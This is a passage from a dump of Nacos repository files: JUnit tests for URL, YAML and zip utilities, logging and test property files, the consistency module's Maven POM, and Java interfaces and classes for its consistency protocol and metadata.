    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass UrlAnalysisUtilsTest {\n    \n    @Test\n    void testGetContentIdentity() {\n        \n        String url = \"http://127.0.0.1:8080/test?paramA=A&paramB=B\";\n        assertEquals(\"http://127.0.0.1:8080\", UrlAnalysisUtils.getContentIdentity(url));\n        \n        String url2 = \"127.0.0.1:8080/test?paramA=A&paramB=B\";\n        assertEquals(\"127.0.0.1:8080\", UrlAnalysisUtils.getContentIdentity(url2));\n        \n        String url3 = \"\";\n        assertNull(UrlAnalysisUtils.getContentIdentity(url3));\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/YamlParserUtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.config.server.model.ConfigMetadata;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.yaml.snakeyaml.constructor.ConstructorException;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass YamlParserUtilTest {\n    \n    private static final String CONFIG_METADATA_STRING =\n            \"metadata:\\n\" + \"- dataId: testData1\\n\" + \"  group: testGroup1\\n\" + \"  type: text\\n\" + \"- appName: testAppName\\n\"\n                    + \"  dataId: testData2\\n\" + \"  desc: test desc\\n\" + \"  group: testGroup2\\n\" + \"  type: yaml\\n\";\n    \n    private ConfigMetadata.ConfigExportItem item1;\n    \n    private ConfigMetadata.ConfigExportItem item2;\n    \n    @BeforeEach\n    void setUp() {\n        item1 = new ConfigMetadata.ConfigExportItem();\n        item1.setDataId(\"testData1\");\n        item1.setGroup(\"testGroup1\");\n        item1.setType(\"text\");\n        \n        item2 = new ConfigMetadata.ConfigExportItem();\n        item2.setDataId(\"testData2\");\n        item2.setGroup(\"testGroup2\");\n        item2.setType(\"yaml\");\n        item2.setAppName(\"testAppName\");\n        item2.setDesc(\"test desc\");\n    }\n    \n    @Test\n    void testDumpObject() {\n        ConfigMetadata configMetadata = new ConfigMetadata();\n        List<ConfigMetadata.ConfigExportItem> configMetadataItems = new ArrayList<>();\n        configMetadataItems.add(item1);\n        configMetadataItems.add(item2);\n        configMetadata.setMetadata(configMetadataItems);\n        \n        String parseString = YamlParserUtil.dumpObject(configMetadata);\n        assertEquals(CONFIG_METADATA_STRING, parseString);\n    }\n    \n    @Test\n    void testLoadObject() {\n        ConfigMetadata configMetadata = YamlParserUtil.loadObject(CONFIG_METADATA_STRING, ConfigMetadata.class);\n        assertNotNull(configMetadata);\n        \n        List<ConfigMetadata.ConfigExportItem> metadataList = configMetadata.getMetadata();\n        assertNotNull(metadataList);\n        assertEquals(2, metadataList.size());\n        ConfigMetadata.ConfigExportItem configExportItem1 = metadataList.get(0);\n        ConfigMetadata.ConfigExportItem configExportItem2 = metadataList.get(1);\n        assertEquals(configExportItem1, item1);\n        assertEquals(configExportItem2, item2);\n    }\n    \n    @Test\n    void testNotSupportType() {\n        assertThrows(ConstructorException.class, () -> {\n            YamlParserUtil.loadObject(\"name: test\", YamlTest.class);\n        });\n    }\n    \n    private static class YamlTest {\n        \n        private String name;\n        \n        public String getName() {\n            return name;\n        }\n        \n        public void setName(String name) {\n            this.name = name;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/ZipUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ZipUtilsTest {\n    \n    @Test\n    void testZip() {\n        List<ZipUtils.ZipItem> zipItemList = new ArrayList<>();\n        zipItemList.add(new ZipUtils.ZipItem(\"test\", \"content\"));\n        byte[] zip = ZipUtils.zip(zipItemList);\n        assertTrue(zip != null && zip.length > 0);\n    }\n    \n    @Test\n    void testUnzip() {\n        \n        List<ZipUtils.ZipItem> zipItemList = new ArrayList<>();\n        zipItemList.add(new ZipUtils.ZipItem(\"test\", \"content\"));\n        byte[] zip = ZipUtils.zip(zipItemList);\n        assertTrue(zip != null && zip.length > 0);\n        \n        ZipUtils.UnZipResult unZipResult = ZipUtils.unzip(zip);\n        List<ZipUtils.ZipItem> result = unZipResult.getZipItemList();\n        assertEquals(zipItemList.size(), result.size());\n        assertEquals(zipItemList.get(0).getItemName(), result.get(0).getItemName());\n        assertEquals(zipItemList.get(0).getItemData(), result.get(0).getItemData());\n        \n    }\n}\n"
  },
  {
    "path": "config/src/test/resources/application.properties",
    "content": "#\n#  Copyright 1999-2018 Alibaba Group Holding Ltd.\n#\n#   Licensed under the Apache License, Version 2.0 (the \"License\");\n#   you may not use this file except in compliance with the License.\n#   You may obtain a copy of the License at\n#\n#        http://www.apache.org/licenses/LICENSE-2.0\n#\n#   Unless required by applicable law or agreed to in writing, software\n#   distributed under the License is distributed on an \"AS IS\" BASIS,\n#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#   See the License for the specific language governing permissions and\n#   limitations under the License.\n#\n"
  },
  {
    "path": "config/src/test/resources/log4j.properties",
    "content": "#\n# Copyright 1999-2018 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nlog4j.rootLogger=INFO, ServerDailyRollingFile,stdout\nlog4j.appender.ServerDailyRollingFile=org.apache.log4j.DailyRollingFileAppender\nlog4j.appender.ServerDailyRollingFile.DatePattern='.'yyyy-MM-dd_HH\nlog4j.appender.ServerDailyRollingFile.File=${webapp.root}/WEB-INF/logs/nacos-server.log\nlog4j.appender.ServerDailyRollingFile.layout=org.apache.log4j.PatternLayout\nlog4j.appender.ServerDailyRollingFile.layout.ConversionPattern=[%p] [%t] %d{MM-dd HH:mm:ss,SSS} [%c{1}] - %m%n\nlog4j.appender.ServerDailyRollingFile.Append=true\nlog4j.logger.opLog=INFO, opFile\nlog4j.appender.opFile=org.apache.log4j.DailyRollingFileAppender\nlog4j.appender.opFile.DatePattern='.'yyyy-MM-dd_HH\nlog4j.appender.opFile.File=${webapp.root}/WEB-INF/logs/operation.log\nlog4j.appender.opFile.layout=org.apache.log4j.PatternLayout\nlog4j.appender.opFile.layout.ConversionPattern=[%p] [%t] %d{MM-dd HH:mm:ss,SSS} [%c{1}] - %m%n\nlog4j.appender.opFile.Append=true\nlog4j.logger.com.taobao.config=warn\nlog4j.logger.org.apache.http.wire=warn\nlog4j.logger.java.sql=warn\nlog4j.logger.com.ibatis.common.jdbc=warn\n"
  },
  {
    "path": "config/src/test/resources/logback-test.xml",
    "content": "<!--\n  ~ Copyright 1999-2023 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n\n<configuration>\n    <root level=\"INFO\"/>\n</configuration>"
  },
  {
    "path": "config/src/test/resources/user.properties",
    "content": "#\n# Copyright 1999-2018 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nadmin=admin\n"
  },
  {
    "path": "consistency/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2018 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n<project xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    \n    <artifactId>nacos-consistency</artifactId>\n    \n    <build>\n        <extensions>\n            <extension>\n                <groupId>kr.motd.maven</groupId>\n                <artifactId>os-maven-plugin</artifactId>\n                <version>1.7.1</version>\n            </extension>\n        </extensions>\n        <plugins>\n            <!--            Grpc coding plug-in-->\n            <plugin>\n                <groupId>org.xolstice.maven.plugins</groupId>\n                <artifactId>protobuf-maven-plugin</artifactId>\n                <version>0.6.1</version>\n                <configuration>\n                    <protocArtifact>com.google.protobuf:protoc:${protobuf-java.version}:exe:${os.detected.classifier}\n                    </protocArtifact>\n                    <pluginId>grpc-java</pluginId>\n                    <pluginArtifact>io.grpc:protoc-gen-grpc-java:${grpc-java.version}:exe:${os.detected.classifier}\n                    </pluginArtifact>\n                </configuration>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>compile</goal>\n                            <goal>compile-custom</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n    \n    <dependencies>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-common</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.caucho</groupId>\n            <artifactId>hessian</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.google.protobuf</groupId>\n            <artifactId>protobuf-java</artifactId>\n        </dependency>\n    </dependencies>\n    <modelVersion>4.0.0</modelVersion>\n    \n    <name>nacos-consistency ${project.version}</name>\n    <packaging>jar</packaging>\n    <parent>\n        <groupId>com.alibaba.nacos</groupId>\n        <artifactId>nacos-all</artifactId>\n        <relativePath>../pom.xml</relativePath>\n        <version>${revision}</version>\n    </parent>\n    \n    <url>https://nacos.io</url>\n\n</project>\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/CommandOperations.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport com.alibaba.nacos.common.model.RestResult;\nimport com.alibaba.nacos.common.model.RestResultUtils;\n\nimport java.util.Map;\n\n/**\n * Operation and maintenance command interface.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic interface CommandOperations {\n    \n    /**\n     * Operation and maintenance interface operation entry.\n     *\n     * @param commands commands\n     * @return execute success\n     */\n    default RestResult<String> execute(Map<String, String> commands) {\n        return RestResultUtils.success();\n    }\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/Config.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport java.io.Serializable;\nimport java.util.Set;\n\n/**\n * Consistent protocol related configuration objects.\n *\n * <p>{@link RequestProcessor} : The consistency protocol provides services for all businesses, but each business only cares\n * about the transaction information belonging to that business, and the transaction processing between the various\n * services should not block each other. Therefore, the LogProcessor is abstracted to implement the parallel processing\n * of transactions of different services. Corresponding LogProcessor sub-interface: LogProcessor4AP or LogProcessor4CP,\n * different consistency protocols will actively discover the corresponding LogProcessor\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic interface Config<L extends RequestProcessor> extends Serializable {\n    \n    /**\n     * Set the cluster node information to initialize，like [ip:port, ip:port, ip:port].\n     *\n     * @param self    local node address information, ip:port\n     * @param members {@link Set}\n     */\n    void setMembers(String self, Set<String> members);\n    \n    /**\n     * members join.\n     *\n     * @param members {@link Set}\n     */\n    void addMembers(Set<String> members);\n    \n    /**\n     * members leave.\n     *\n     * @param members {@link Set}\n     */\n    void removeMembers(Set<String> members);\n    \n    /**\n     * get local node address info.\n     *\n     * @return address\n     */\n    String getSelfMember();\n    \n    /**\n     * get the cluster node information.\n     *\n     * @return members info, like [ip:port, ip:port, ip:port]\n     */\n    Set<String> getMembers();\n    \n    /**\n     * Add configuration content.\n     *\n     * @param key   config key\n     * @param value config value\n     */\n    void setVal(String key, String value);\n    \n    /**\n     * get configuration content by key.\n     *\n     * @param key config key\n     * @return config value\n     */\n    String getVal(String key);\n    \n    /**\n     * get configuration content by key, if not found, use default-val.\n     *\n     * @param key        config key\n     * @param defaultVal default value\n     * @return config value\n     */\n    String getValOfDefault(String key, String defaultVal);\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/ConsistencyProtocol.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport com.alibaba.nacos.consistency.entity.ReadRequest;\nimport com.alibaba.nacos.consistency.entity.Response;\nimport com.alibaba.nacos.consistency.entity.WriteRequest;\n\nimport java.util.Collection;\nimport java.util.Set;\nimport java.util.concurrent.CompletableFuture;\n\n/**\n * Has nothing to do with the specific implementation of the consistency protocol Initialization sequence： init(Config).\n *\n * <ul>\n *     <li>{@link Config} : Relevant configuration information required by the consistency protocol,\n *     for example, the Raft protocol needs to set the election timeout time, the location where\n *     the Log is stored, and the snapshot task execution interval</li>\n *     <li>{@link ConsistencyProtocol#protocolMetaData()} : Returns metadata information of the consistency\n *     protocol, such as leader, term, and other metadata information in the Raft protocol</li>\n * </ul>\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic interface ConsistencyProtocol<T extends Config, P extends RequestProcessor> extends CommandOperations {\n    \n    /**\n     * Consistency protocol initialization: perform initialization operations based on the incoming.\n     * Config 一致性协议初始化，根据Config 实现类\n     *\n     * @param config {@link Config}\n     */\n    void init(T config);\n    \n    /**\n     * Add a request handler.\n     *\n     * @param processors {@link RequestProcessor}\n     */\n    void addRequestProcessors(Collection<P> processors);\n    \n    /**\n     * Copy of metadata information for this consensus protocol.\n     * 该一致性协议的元数据信息\n     *\n     * @return metaData {@link ProtocolMetaData}\n     */\n    ProtocolMetaData protocolMetaData();\n    \n    /**\n     * Obtain data according to the request.\n     *\n     * @param request request\n     * @return data {@link Response}\n     * @throws Exception {@link Exception}\n     */\n    Response getData(ReadRequest request) throws Exception;\n    \n    /**\n     * Get data asynchronously.\n     *\n     * @param request request\n     * @return data {@link CompletableFuture}\n     */\n    CompletableFuture<Response> aGetData(ReadRequest request);\n    \n    /**\n     * Data operation, returning submission results synchronously.\n     * 同步数据提交，在 Datum 中已携带相应的数据操作信息\n     *\n     * @param request {@link com.alibaba.nacos.consistency.entity.WriteRequest}\n     * @return submit operation result {@link Response}\n     * @throws Exception {@link Exception}\n     */\n    Response write(WriteRequest request) throws Exception;\n    \n    /**\n     * Data submission operation, returning submission results asynchronously.\n     * 异步数据提交，在 Datum中已携带相应的数据操作信息，返回一个Future，自行操作，提交发生的异常会在CompleteFuture中\n     *\n     * @param request {@link com.alibaba.nacos.consistency.entity.WriteRequest}\n     * @return {@link CompletableFuture} submit result\n     * @throws Exception when submit throw Exception\n     */\n    CompletableFuture<Response> writeAsync(WriteRequest request);\n    \n    /**\n     * New member list .\n     * 新的成员节点列表，一致性协议自行处理相应的成员节点是加入还是离开\n     *\n     * @param addresses [ip:port, ip:port, ...]\n     */\n    void memberChange(Set<String> addresses);\n    \n    /**\n     * Whether protocol is ready to work, such as contain leader, finish load snapshot and so on.\n     *\n     * @return {@code true} when protocol ready to work, otherwise {@code false}\n     */\n    boolean isReady();\n    \n    /**\n     * Consistency agreement service shut down .\n     * 一致性协议服务关闭\n     */\n    void shutdown();\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/DataOperation.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\n/**\n * Apply action.\n *\n * @author nkorange\n */\npublic enum DataOperation {\n    /**\n     * Data add.\n     */\n    ADD,\n    /**\n     * Data changed.\n     */\n    CHANGE,\n    /**\n     * Data deleted.\n     */\n    DELETE,\n    /**\n     * Data verify.\n     */\n    VERIFY,\n    /**\n     * Data Snapshot.\n     */\n    SNAPSHOT,\n    /**\n     * Data query.\n     */\n    QUERY;\n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/IdGenerator.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport java.util.Map;\n\n/**\n * Id generator.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic interface IdGenerator {\n    \n    /**\n     * Perform the corresponding initialization operation.\n     */\n    void init();\n    \n    /**\n     * current id info.\n     *\n     * @return current id\n     */\n    long currentId();\n    \n    /**\n     * worker id info.\n     *\n     * @return worker id\n     */\n    long workerId();\n    \n    /**\n     * Get next id.\n     *\n     * @return next id\n     */\n    long nextId();\n    \n    /**\n     * Returns information for the current IDGenerator.\n     *\n     * @return {@link Map}\n     */\n    Map<Object, Object> info();\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/ProtoMessageUtil.java",
    "content": "/*\n *  Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *       http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport com.alibaba.nacos.consistency.entity.GetRequest;\nimport com.alibaba.nacos.consistency.entity.Log;\nimport com.alibaba.nacos.consistency.entity.ReadRequest;\nimport com.alibaba.nacos.consistency.entity.WriteRequest;\nimport com.alibaba.nacos.consistency.exception.ConsistencyException;\nimport com.google.protobuf.Message;\n\n/**\n * protobuf message utils.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class ProtoMessageUtil {\n    \n    /**\n     * should be different from field tags of ReadRequest or WriteQuest.\n     */\n    public static final int REQUEST_TYPE_FIELD_TAG = 7 << 3;\n    \n    public static final int REQUEST_TYPE_READ = 1;\n    \n    public static final int REQUEST_TYPE_WRITE = 2;\n    \n    /**\n     * Converts the byte array to a specific Protobuf object.\n     * Internally, the protobuf new and old objects are compatible.\n     *\n     * @param bytes An array of bytes\n     * @return Message\n     */\n    public static Message parse(byte[] bytes) {\n        Message result;\n        try {\n            if (bytes[0] == REQUEST_TYPE_FIELD_TAG) {\n                if (bytes[1] == REQUEST_TYPE_READ) {\n                    result = ReadRequest.parseFrom(bytes);\n                } else {\n                    result = WriteRequest.parseFrom(bytes);\n                }\n                return result;\n            }\n        } catch (Throwable ignore) {\n        }\n        \n        // old consistency entity, will be @Deprecated in future\n        try {\n            GetRequest request = GetRequest.parseFrom(bytes);\n            return convertToReadRequest(request);\n        } catch (Throwable ignore) {\n        }\n        \n        try {\n            Log log = Log.parseFrom(bytes);\n            return convertToWriteRequest(log);\n        } catch (Throwable ignore) {\n        }\n        \n        throw new ConsistencyException(\"The current array cannot be serialized to the corresponding object\");\n    }\n    \n    /**\n     * convert Log to WriteRequest.\n     *\n     * @param log log\n     * @return {@link WriteRequest}\n     */\n    public static WriteRequest convertToWriteRequest(Log log) {\n        return WriteRequest.newBuilder().setKey(log.getKey()).setGroup(log.getGroup())\n                .setData(log.getData())\n                .setType(log.getType())\n                .setOperation(log.getOperation())\n                .putAllExtendInfo(log.getExtendInfoMap())\n                .build();\n    }\n    \n    /**\n     * convert Log to ReadRequest.\n     *\n     * @param request request\n     * @return {@link ReadRequest}\n     */\n    public static ReadRequest convertToReadRequest(GetRequest request) {\n        return ReadRequest.newBuilder()\n                .setGroup(request.getGroup())\n                .setData(request.getData())\n                .putAllExtendInfo(request.getExtendInfoMap())\n                .build();\n    }\n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/ProtocolMetaData.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport com.alibaba.nacos.common.utils.Observable;\nimport com.alibaba.nacos.common.utils.Observer;\nimport com.alibaba.nacos.common.utils.Pair;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.Map;\nimport java.util.TreeMap;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.locks.ReentrantReadWriteLock;\n\n/**\n * Consistent protocol metadata information, &lt;Key, &lt;Key, Value &gt;&gt; structure Listeners that can register to\n * listen to changes in value.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class ProtocolMetaData {\n    \n    private final Map<String, MetaData> metaDataMap = new ConcurrentHashMap<>(4);\n    \n    /**\n     * used for jackson serialization.\n     *\n     * @return metaMap\n     */\n    public Map<String, Map<Object, Object>> getMetaDataMap() {\n        return metaDataMap.entrySet().stream().map(entry -> Pair.with(entry.getKey(),\n                        entry.getValue().getItemMap().entrySet().stream()\n                                .collect(TreeMap::new, (m, e) -> m.put(e.getKey(), e.getValue().getData()), TreeMap::putAll)))\n                .collect(TreeMap::new, (m, e) -> m.put(e.getFirst(), e.getSecond()), TreeMap::putAll);\n    }\n    // Does not guarantee thread safety, there may be two updates of\n    // time-1 and time-2 (time-1 <time-2), but time-1 data overwrites time-2\n    \n    /**\n     * save target consistency protocol metadata.\n     *\n     * @param mapMap {@link Map}\n     */\n    public void load(final Map<String, Map<String, Object>> mapMap) {\n        mapMap.forEach((s, map) -> {\n            metaDataMap.computeIfAbsent(s, MetaData::new);\n            final MetaData data = metaDataMap.get(s);\n            map.forEach(data::put);\n        });\n    }\n    \n    /**\n     * get protocol metadata by group and key.\n     *\n     * @param group  group name\n     * @param subKey key\n     * @return target value\n     */\n    public Object get(String group, String subKey) {\n        if (StringUtils.isBlank(subKey)) {\n            return metaDataMap.get(group);\n        } else {\n            if (metaDataMap.containsKey(group)) {\n                return metaDataMap.get(group).get(subKey);\n            }\n            return null;\n        }\n    }\n    \n    /**\n     * If MetaData does not exist, actively create a MetaData.\n     */\n    public void subscribe(final String group, final String key, final Observer observer) {\n        metaDataMap.computeIfAbsent(group, s -> new MetaData(group)).subscribe(key, observer);\n    }\n    \n    public void unSubscribe(final String group, final String key, final Observer observer) {\n        metaDataMap.computeIfAbsent(group, s -> new MetaData(group)).unSubscribe(key, observer);\n    }\n    \n    public static final class MetaData {\n        \n        private final Map<String, ValueItem> itemMap = new ConcurrentHashMap<>(8);\n        \n        private final transient String group;\n        \n        public MetaData(String group) {\n            this.group = group;\n        }\n        \n        public Map<String, ValueItem> getItemMap() {\n            return itemMap;\n        }\n        \n        void put(String key, Object value) {\n            ValueItem item = itemMap.computeIfAbsent(key, s -> new ValueItem(group + \"/\" + key));\n            item.setData(value);\n        }\n        \n        public ValueItem get(String key) {\n            return itemMap.get(key);\n        }\n        \n        // If ValueItem does not exist, actively create a ValueItem\n        \n        void subscribe(final String key, final Observer observer) {\n            final ValueItem item = itemMap.computeIfAbsent(key, s -> new ValueItem(group + \"/\" + key));\n            item.addObserver(observer);\n        }\n        \n        void unSubscribe(final String key, final Observer observer) {\n            final ValueItem item = itemMap.get(key);\n            if (item == null) {\n                return;\n            }\n            item.deleteObserver(observer);\n        }\n        \n    }\n    \n    public static final class ValueItem extends Observable {\n        \n        private final transient String path;\n        \n        private final transient ReentrantReadWriteLock lock = new ReentrantReadWriteLock();\n        \n        private final transient ReentrantReadWriteLock.ReadLock readLock = lock.readLock();\n        \n        private final transient ReentrantReadWriteLock.WriteLock writeLock = lock.writeLock();\n        \n        private volatile Object data;\n        \n        public ValueItem(String path) {\n            this.path = path;\n        }\n        \n        public Object getData() {\n            readLock.lock();\n            try {\n                return data;\n            } finally {\n                readLock.unlock();\n            }\n        }\n        \n        void setData(Object data) {\n            writeLock.lock();\n            try {\n                this.data = data;\n                setChanged();\n                notifyObservers();\n            } finally {\n                writeLock.unlock();\n            }\n        }\n        \n        public String getPath() {\n            return path;\n        }\n    }\n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/RequestProcessor.java",
